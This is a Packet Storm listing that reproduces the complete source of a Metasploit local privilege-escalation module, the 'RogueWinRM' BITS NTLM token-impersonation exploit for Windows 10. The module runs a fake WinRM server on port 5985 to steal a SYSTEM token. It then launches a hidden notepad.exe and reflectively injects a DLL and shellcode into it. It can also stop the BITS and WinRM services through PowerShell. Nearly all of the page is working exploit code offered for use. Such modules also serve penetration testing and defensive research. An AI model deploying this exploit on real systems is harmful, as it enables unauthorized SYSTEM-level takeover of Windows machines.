exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NTLM BITS SYSTEM Token Impersonation

NTLM BITS SYSTEM Token Impersonation
Posted Jan 6, 2021
Authored by Andrea Pierini, Cassandre, Roberto, Antonio Cocomazzi | Site metasploit.com

This Metasploit module exploit BITS behavior which tries to connect to the local Windows Remote Management server (WinRM) every times it starts. The module launches a fake WinRM server which listen on port 5985 and triggers BITS. When BITS starts, it tries to authenticate to the Rogue WinRM server, which allows to steal a SYSTEM token. This token is then used to launch a new process as SYSTEM user. In the case of this exploit, notepad.exe is launched as SYSTEM. Then, it writes shellcode in its previous memory space and trigger its execution. As this exploit uses reflective dll injection, it does not write any file on the disk. Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running. Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.

tags | exploit, remote, local, shellcode
systems | windows
SHA-256 | 67b5ac7fe880d91740fda6036d3554f5b4435e1a61d47cad34a80f769fb5752c

NTLM BITS SYSTEM Token Impersonation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/reflective_dll_injection'

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection

# Those are integer codes for representing the services involved in this exploit.
BITS = 1
WINRM = 2

def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.',
'Description' => %q{
This module exploit BITS behavior which tries to connect to the
local Windows Remote Management server (WinRM) every times it
starts. The module launches a fake WinRM server which listen on
port 5985 and triggers BITS. When BITS starts, it tries to
authenticate to the Rogue WinRM server, which allows to steal a
SYSTEM token. This token is then used to launch a new process
as SYSTEM user. In the case of this exploit, notepad.exe is launched
as SYSTEM. Then, it write shellcode in its previous memory space
and trigger its execution. As this exploit uses reflective dll
injection, it does not write any file on the disk. See
/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md
for complementary words of information.

Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running.
Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.

WARNING:

- As this exploit runs a service on the target (Fake WinRM on port
5985), a firewall popup may appear on target screen. Thus, this exploit
may not be completely silent.

- This exploit has been successfully tested on :
Windows 10 (10.0 Build 19041) 32 bits
Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits

- This exploit failed because of no BITS authentication attempt on:
Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits

- Windows servers are not vulnerable because a genuine WinRM
service is already running, except if the user has disabled it
(Or if this exploit succeed to terminate it).

- SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are
required.

- BITS must not be running.

- This exploit automatically perform above quoted checks.
run "check" command to run checklist.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Cassandre', # Adapted decoder's POC for metasploit
'Andrea Pierini (decoder)', # Lonely / Juicy Potato. Has written the POC
'Antonio Cocomazzi (splinter_code)',
'Roberto (0xea31)',
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'none',
'WfsDelay' => '120'
},
'Targets' =>
[
['Automatic', {}]
],
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'SideEffects' => [SCREEN_EFFECTS],
'Reliability' => [REPEATABLE_SESSION]
},
'Payload' =>
{
'DisableNops' => true,
'BadChars' => "\x00"
},
'References' =>
[
['URL', 'https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/'],
['URL', 'https://github.com/antonioCoco/RogueWinRM'],
],
'DisclosureDate' => 'Dec 06 2019',
'DefaultTarget' => 0
}
)
)

shutdown_service_option_description = [
'Should this module attempt to shutdown BITS and WinRM services if they are running?',
'Setting this parameter to true is useful only if SESSION is part of administrator group.',
'In the common usecase (running as LOCAL SERVICE) you don\'t have enough privileges.'
].join(' ')

winrm_port_option_description = [
'Port the exploit will listen on for BITS connexion.',
'As the principle of the exploit is to impersonate a genuine WinRM service,',
'it should listen on WinRM port. This is in most case 5985 but in some configuration,',
'it may be 47001.'
].join(' ')

host_process_option_description = [
'The process which will be launched as SYSTEM and execute metasploit shellcode.',
'This process is launched without graphical interface so it is hidden.'
].join(' ')

register_options(
[
OptBool.new('SHUTDOWN_SERVICES', [true, shutdown_service_option_description, false]),
OptPort.new('WINRM_RPORT', [true, winrm_port_option_description, 5985]),
OptString.new('HOST_PROCESS', [true, host_process_option_description, 'notepad.exe'])
]
)
end

#
# Function used to perform all mandatory checks in order to assess
# if the target is vulnerable before running the exploit.
# Basically, this function does the following:
# - Checks if current session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# - Checks if operating system is neither Windows 7 nor Windows XP
# - Checks if BITS and WinRM are running, and attempt to terminate them if the user
# has specified the corresponding option
# - Checks if the session is not already SYSTEM
def check
privs = client.sys.config.getprivs
os = client.sys.config.sysinfo['OS']

# Fast fails
if os.include?('Windows 7') || os.include?('Windows XP')
print_bad("Operating system: #{os}")
print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')
return Exploit::CheckCode::Safe
end

unless privs.include?('SeImpersonatePrivilege') || privs.include?('SeAssignPrimaryTokenPrivilege')
print_bad('Target session is missing both SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.')
return Exploit::CheckCode::Safe
end
vprint_good('Target session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.')

running_services_code = check_bits_and_winrm
if running_services_code < 0
return Exploit::CheckCode::Safe
end
should_services_be_shutdown = datastore['SHUTDOWN_SERVICES']
if running_services_code > 0
if should_services_be_shutdown
shutdown_service(running_services_code)
sleep(2)
running_services_code = check_bits_and_winrm
end
if [WINRM, WINRM + BITS].include?(running_services_code)
print_bad('WinRM is running. Target is not exploitable.')
return Exploit::CheckCode::Safe
elsif running_services_code == BITS
if should_services_be_shutdown
print_warning('Failed to shutdown BITS.')
end
print_warning('BITS is running. Don\'t panic, the exploit should handle this, but you have to wait for BITS to terminate.')
end
end

if is_system?
print_bad('Session is already elevated.')
return Exploit::CheckCode::Safe
end

vprint_good('Session is not (yet) System.')
Exploit::CheckCode::Appears
end

#
# This function is dedicated in checking if bits and WinRM are running.
# It returns the running services. If both services are down, it returns 0.
# If BITS is running, it returns 1 (Because BITS class constant = 1). If
# WinRM is running, it returns 2. And if both are running, it returns
# BITS + WINRM = 3.
def check_bits_and_winrm
check_command = 'powershell.exe Get-Service -Name BITS,WinRM'
result = cmd_exec(check_command)
vprint_status('Checking if BITS and WinRM are stopped...')

if result.include?('~~')
print_bad('Failed to retrieve infos about WinRM and BITS. Access is denied.')
return -1
end

if result.include?('Stopped BITS') && result.include?('Stopped WinRM')
print_good('BITS and WinRM are stopped.')
return 0
end

if result.include?('Running BITS') && result.include?('Stopped WinRM')
print_warning('BITS is currently running. It must be down for the exploit to succeed.')
return BITS
end

if result.include?('Stopped BITS') && result.include?('Running WinRM')
print_warning('WinRM is currently running. It must be down for the exploit to succeed.')
return WINRM
end

if result.include?('Running BITS') && result.include?('Running WinRM')
print_warning('BITS and WinRM are currently running. They must be down for the exploit to succeed.')
return BITS + WINRM
end
end

#
# Attempt to shutdown services through powershell.
def shutdown_service(service_code)
stop_command_map = {
BITS => 'powershell.exe Stop-Service -Name BITS',
WINRM => 'powershell.exe Stop-Service -Name WinRM',
BITS + WINRM => 'powershell.exe Stop-Service -Name BITS,WinRM'
}
print_status('Attempting to shutdown service(s)...')
cmd_exec(stop_command_map[service_code])
end

def exploit
payload_name = datastore['PAYLOAD']
payload_arch = framework.payloads.create(payload_name).arch
winrm_port = datastore['WINRM_RPORT']
host_process_name = datastore['HOST_PROCESS']

if payload_arch.first == ARCH_X64
dll_file_name = 'drunkpotato.x64.dll'
vprint_status('Assigning payload drunkpotato.x64.dll')
elsif payload_arch.first == ARCH_X86
dll_file_name = 'drunkpotato.x86.dll'
vprint_status('Assigning payload drunkpotato.x86.dll')
else
fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign exploit code')
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'drunkpotato', dll_file_name)
library_path = ::File.expand_path(library_path)

print_status('Launching notepad to host the exploit...')
notepad_path = get_notepad_pathname(
payload_arch.first,
client.sys.config.getenv('windir'),
client.arch
)
notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true })
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end

print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)

print_status("Exploit injected. Injecting payload into #{process.pid}...")
formatted_payload = [
winrm_port.to_s,
host_process_name,
payload.encoded.length.to_s,
payload.encoded
].join("\x00")
payload_mem = inject_into_process(process, formatted_payload)

# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)

print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close